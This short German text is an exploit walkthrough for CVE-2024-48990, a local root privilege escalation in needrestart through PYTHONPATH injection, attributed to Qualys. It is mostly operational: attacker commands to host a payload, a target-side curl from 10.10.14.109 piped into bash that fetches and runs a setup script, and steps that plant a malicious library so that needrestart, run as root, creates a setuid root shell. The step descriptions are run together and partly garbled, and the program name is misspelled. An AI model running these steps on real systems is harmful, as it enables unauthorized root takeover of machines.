
Vollständiger Exploit für needsrestart setuid-Root-Shell
Lokale Rechteausweitung in needrestart < 3.8 durch PYTHONPATH-Injection.
PYTHONPATH=/tmp/.m aus /proc/[pid]/environPYTHONPATH aus/tmp/.m/importlib/__init__.so (unsere bösartige Bibliothek)/tmp/rootbash/tmp/rootbash -p für eine Root-Shell ausKernpunkt: needrestart vertraut Umgebungsvariablen von nicht privilegierten Prozessen und verwendet sie, wenn es Interpreten als root ausführt.
Angreifer:
./compile.sh
python3 -m http.server 8000
Ziel:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
Der e.py-Prozess sollte hängen bleiben und root starten, sobald Folgendes von einem zweiten Terminal aus ausgeführt wird:
sudo needsrestard
das erste Terminal startet eine Root-Shell.
Qualys Threat Research Unit - CVE-2024-48990